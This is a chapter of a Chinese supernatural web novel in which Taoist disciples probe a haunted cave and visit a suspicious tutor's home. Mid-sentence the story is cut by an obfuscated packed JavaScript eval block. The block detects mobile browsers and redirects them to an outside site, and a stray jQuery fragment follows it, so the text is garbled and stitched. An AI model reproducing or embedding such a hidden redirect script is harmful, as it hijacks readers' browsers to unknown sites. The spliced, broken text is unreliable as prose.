竹斋下,金炉篆霭,白鹤也垂眸静坐,指尖捻一撮暗红色香粉,又混入朱砂、云母、符灰调和成泥,捏作香塔状。
他神色专注,饶是双手沾满玫红色灰泥,却也未曾透出尴尬狼藉的意味。
龙竹蹲在梁上,下巴抵着膝盖,目光灼灼地盯着他手中的动作。
她忽然伸手一弹,一粒石子“叮”地撞上桌上香炉,香灰簌簌洒落。
白鹤也头也不抬:“再捣乱,新做的香我全拿去喂鱼。”
龙竹撇撇嘴,翻身落地,带起一阵风。
她只是见炉中那枚香燃了许久,白灰蓄了老高,却总不见它掉下来,有点看不过眼。
她凑近嗅了嗅:“为什么你做的香,和我以前吃过的不一样?”
“我加了符灰,”白鹤也拈起一张灵符,似给她示范,拿指尖一弹,符纸焚为灰烬,落入香膏之中:“妖鬼喜食灵力,你自然也一样。”
白鹤也的灵力精纯,堪为上品,他用灵力入香,香客们用此香作供奉,冥冥之中确实得了鬼神欢心,怪不得长丰观香火如此灵验。
龙竹眨眨眼,指头沾香灰舔了舔:“总觉得不止这个原因……”
好像——
还有一种十分久远的,令自己万分怀念的味道。
前殿,自然夏令营的学生们正在山门殿外拍照合影。
暑期即将结束,这也是夏令营最后的一个旅游打卡地。
牌楼外,人头攒动,学生们列好队,由举着旗帜的老师带往殿内参观。
小辉也在其中,他皱着眉,转头在其他班的队伍里搜索着什么。
没有。
没有找到李通的身影。
他为什么没来?
小辉抬起头,看向山门殿中间挂着的一些古怪法器和符阵。
在他的认知里,寺庙和道观是供神仙的地方,就像电视剧里写的那样,里面有厉害的捉妖师,能降服一切妖魔鬼怪。
所以,李通他……
“好巧啊,”有人过来拍了拍他的肩膀:“来参观吗?”
小辉扭头,见王天福和方序站在一边,两人都穿着道袍,神色友善地看过来。
上回在卫生所外面,王天福向他探听过山洞的情况。
小辉好似抓住救命稻草,逮着两人诉苦:“我朋友他,他好像真的被鬼附身了!上次从山洞回来后,他像变了个人一样!”
他还想列出更多疑点,但自己也不知道如何组织语言,憋了半天,只再次强调:“那肯定不是他!他从山洞回来就不是他了!”
王天福想了想,从袖中摸出一个护身符递过去:“你把这个随身带着,尤其是你和你朋友单独相处的时候。”
方序:“要不我们再去山洞那边看看?”
与此同时,身后传来一个声音:“凑什么热闹,不许去!”
方序扭头,见自己亲哥,大师兄方涯正瞪着眼睛叉腰站在身后。
“后山那路又塌了,有这闲工夫不如去把碎石头铲开。”
方序嘀咕:“我还有除妖驱邪的正事。”
方涯敲了敲他的脑袋:“除妖驱邪?那我身为长丰观大弟子义不容辞。”
方序欲言又止,支开话题:“南淮呢?”
“他不在,”方涯粗声粗气问:“怎么,信不过你亲哥?”
方序嘟囔:“那不一样。”
他忍不住又问:“哥你也听说了那个山洞的事?”
方涯正色:“前两天有香客来观里提起过,我和观主都觉得山洞有诡。”
得去亲自勘察了他才能放心回禀观主。
王天福咳了声:“那就我带你师兄去吧,时间也不早了。”
哎,听说长丰观斋饭不错,希望能赶上午饭啊!
学校后山和长丰观在两个不同的方向,王天福循着记忆往山洞找去。
楚心怡依旧不在,藤蔓掩映的洞口像一张咧开的嘴。
方涯笃定其中有东西,他不爱兜圈子,直接运转灵力护体,俯身朝洞口喊道:“喂!出来——!”
回音层层荡开,似乎逐渐扭曲成一声细微的轻笑。
什么也没有发生。
王天福咳了一声:“方师兄,你得按规矩来,要报上自己名字才行。”
方涯有些尴尬地刮了刮鼻子,重新探向洞口:“我叫方涯!阁下是谁,报上名来!”
其语气正义凛然,情绪激昂,似下一刻就要扑上去让妖孽伏法。
正说着,方涯忽然在洞中捕获到一丝清晰的轻笑声。
“方涯,你来了。”
嗓音温润,清冽疏淡,正是观主的声音。
方涯浑身一僵,情不自禁就要再往里凑过去,想听清对方在说什么。
“不好!”
王天福猛地上前拽住方涯的后领,却见他双目微微涣散,半个身子已探入洞中,那洞壁似活物,骤然收缩,如蟒蛇般绞住他的腰腹!
“方师兄!清醒!”王天福惊慌不已,下意识摆开架势,要拿火法打入洞中。
好在方涯早被唤回心神,他面色愠怒,伸手一记奇仪凶格成形,朝洞内拍出,刹那间洞口轰隆隆一声,山石抖落,灰尘漫天,将那洞口彻底掩埋。
洞内倏地响起一道嗷嗷回音,如泣如诉,似野猫嚎哭,令人毛骨悚然。
“那到底是什么!”王天福坐在地上,抹了一把额头冷汗。
方涯眼中早已恢复清明,他皱眉道:“不是鬼就是祟,连我差一点都着了道。”
最让他怒不可遏的是,这邪祟居然敢用观主的声音来蛊惑他……
简直胆大包天!
二人心有余悸,却未发现灌木丛里窸窸窣窣钻出一条长虫,借着藤条丝绦的遮掩,扭身钻入碎石洞隙之中。
王天福偏头注意到那丝细微声响,却并未察觉到什么,余光扫在地上凝在某处,他弯腰扒开灰砾,从中捡起一枚沾满泥土的学生证。
证件上的一寸照中,女孩温柔露出微笑,是楚心怡的模样。
王天福愣了愣,楚心怡的学生证?
可是,她不是身体不好,一直在家休养吗?
王天福喃喃:“看来是一定要去会会那位楚老师了。”
楚心怡和山洞到底有什么关系?
楚心怡到底是人是鬼?
那位楚老师又在扮演什么角色?
王天福揉着额角:“真乱,要是师叔在就好了。”
这两天王奉虚接单做法事,直接去雇主家吃住不说,还一点不管远在招待所的师侄,简直无情狠心。
方涯皱起眉:“你说的那个楚老师,该不会是镇上学校那位楚有德楚老师吧?”
他叹口气:“他也算个名人,得过很多奖,带出很多个优秀学生,回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620536|167290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回那些在文昌殿还愿的香客都提到过他,想上他家补课的学生能排到镇外。”
王天福眼睛一亮:“那我可以装作上门补课的学生,去他家看看?”
方涯瞥他一眼:“那谁装你的家长?”
他摸摸头上发冠:“我们长丰观里道士都是蓄发的,装学生家长可不在行。”
师叔是短头发,但他现下又不在。
王天福一下子卡了壳。
突然,他福至心灵,脑海里出现了一个人的影子:“有了!”
……
龙竹扯了扯身上的碎花长裙,面无表情开口:“所以,你要我当你的,妈妈?”
她不解:“为什么还要穿这个?”
王天福用力憋住笑,一本正经道:“家长都是这样穿的。”
实则是因为此鬼杀气腾腾,如果不稍加修饰显得无害,恐怕一开头就露了馅儿。
王天福赶紧补充:“你帮忙的话,之前白观主送我家师祖的线香,我都偷出来给你!”
龙竹抖了抖裙子:“什么时候出发。”
不知内情的方涯还在犹豫:“还是我去吧,她一个姑娘家……”
王天福老气横秋地摇摇头:“方师兄,你完全不必担心她。”
“我也去!”不远处,得知了来龙去脉的南淮匆匆赶过来:“我是正经上过学的,你们单独去,别一问三不知闹笑话。”
楚有德在镇上小有名气,加之他在家里办补习班,随便打听一下,就能知道地址所在。
几人来到一栋老旧的居民楼前,正是午时,楼道间飘出了饭菜的油烟味。
楼梯上下来几个带着小孩的家长,似乎刚刚结束拜访。
方涯不放心,执意在楼下等,龙竹则带着王天福和南淮在四楼左边房间站定,按响门铃。
门很快开了,楚有德还是穿着那身格子衬衫,手里正拿着课本和粉笔,目光在王天福身上扫过:“是你啊,那天见过的。”
王天福露出一个讨喜的笑容,顺带扯扯龙竹衣摆。
龙竹霎时咧开嘴:“老师,我想给孩子报名补课……嘿嘿。”
南淮紧张地咳了一声。
楚有德半信半疑:“……这两个孩子都是您的?抱歉,您看上去很年轻。”
龙竹僵硬地扯出一个微笑:“哪里哪里,也没那么年轻。”
南淮:“……”
他重点好像不是在夸你。
楚有德沉默了一下,最终还是侧身让开:“进来吧,正好在上课。”
客厅被改造成简易教室,七八个小学生端坐在小板凳上,腰背挺直,双手交叠放在桌上。
小黑板上是用粉笔写下两个大字:自律。
“这堂课,老师想让你们知道,约束自己的欲望有多重要,”楚有德走过去,声音温和却不容置疑:“贪玩、懒惰、叛逆的孩子,最终只会成为被社会筛除的渣滓。”
孩子们听得很认真。
南淮忍不住小声嘀咕:“禅宗培养和尚都没这么严格吧。”
龙竹的目光却越过客厅,落在走廊尽头的一扇门上。
楚有德注意到她的视线,笑容微敛:“那是我女儿的房间,她身体不好,喜欢待在自己房间玩。”
似为了附和他的解释,房间里隐约传来嬉笑声。
但奇怪的是……那明明是四道不同的声音。